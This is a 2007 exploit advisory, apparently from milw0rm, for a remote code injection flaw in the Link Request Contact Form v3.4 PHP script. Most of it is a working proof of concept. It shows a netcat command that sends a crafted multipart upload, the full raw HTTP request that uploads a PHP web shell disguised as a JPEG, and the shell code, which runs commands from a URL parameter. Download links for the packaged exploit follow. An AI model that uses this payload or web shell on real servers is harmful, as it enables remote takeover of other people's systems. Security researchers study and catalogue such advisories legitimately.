111 lines
No EOL
3.9 KiB
Text
111 lines
No EOL
3.9 KiB
Text
-=[--------------------ADVISORY-------------------]=-
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Link Request Contact Form v3.4
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Author: CorryL [corryl80@gmail.com]
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-=[-----------------------------------------------]=-
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-=[+] Application: Link Request Contact Form
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-=[+] Version: 3.4
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-=[+] Vendor's URL: http://www.americanfinancing.net/link-request-contact-form.cfm
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-=[+] Platform: Windows\Linux\Unix
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-=[+] Bug type: Remote code injection
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-=[+] Exploitation: Remote
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-=[-]
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-=[+] Author: CorryL ~ corryl80[at]gmail[dot]com ~
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-=[+] Reference: http://corryl.altervista.org/
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-=[+] Irc Chan: irc.darksin.net #x0n3-h4ck
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..::[ Descriprion ]::..
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Link Request Contact Form v3.4 is designed to let your friends or clients request to add their website link(s)
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banner(s) to your website.
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User can upload their banner(s) to a directory being a JPG or GIF file for your review before you post their listing(s).
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Once the user fills in all the details an email will be sent to you with the file location and the users details.
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The script will also email your client with a Confirmation email providing them with the same details.
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You can modify the script to your liking and change the location of where the files will be store easily.
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There are no restrictions and easy installation instructions are provided.
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..::[ Bug ]::..
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This software is affection from a bug type remote code injection,
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a remote attacker is able' to injecting of the code inside the server victim,
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to subsequently be performed.
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This happens because' the script allows to insert an image jpg or bmp,
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but not checking the data, and allowing of injecting of the code php.
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..::[ Proof Of Concept ]::..
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cut the exploit.txt edit the server-victim information,
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using netcat to sending the exploit to server.
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nc server-victim 80 < exploit.txt
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open the browser and connection to http://server-victim/uploads/shell.php?cmd=uname -a
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<---------cut here exploit.txt--------->
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POST http://server-victim:80/output.php HTTP/1.1
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Host: www.server-victim.com
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User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
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Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
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Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
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Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
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Keep-Alive: 300
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Proxy-Connection: keep-alive
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Referer: http://127.0.0.1/prova/link-request-contact-form.html
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Cookie: PHPSESSID=0654c063218badc1ad8b5a04edf9198d
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Content-Type: multipart/form-data; boundary=---------------------------190291279311134
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Content-length: 1115
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-----------------------------190291279311134
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Content-Disposition: form-data; name="Full_Name"
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aaa
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-----------------------------190291279311134
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Content-Disposition: form-data; name="email"
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aa@aa.aa
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-----------------------------190291279311134
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Content-Disposition: form-data; name="Link_Back"
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http://127.0.0.1/
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-----------------------------190291279311134
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Content-Disposition: form-data; name="Site_Title"
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aa
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-----------------------------190291279311134
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Content-Disposition: form-data; name="You_Web_Address"
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http://127.0.0.1/
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-----------------------------190291279311134
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Content-Disposition: form-data; name="Site_Description"
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aaa
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-----------------------------190291279311134
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Content-Disposition: form-data; name="upload"; filename="shell.php"
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Content-Type: image/jpeg
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<?php ob_clean();echo"Remote command esecution by CorryL http://corryl.altervista.org";ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>
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-----------------------------190291279311134
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Content-Disposition: form-data; name="Submit"
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Submit
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-----------------------------190291279311134--
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<----------------end cut---------------->
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download the netcat+exploit from my server:
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http://corryl.altervista.org/index.php?mod=Download/Exploit#exploit-LRCF-v3.4.rar
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4059.rar (06112007-exploit-LRCF-v3.4.rar)
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# milw0rm.com [2007-06-11] |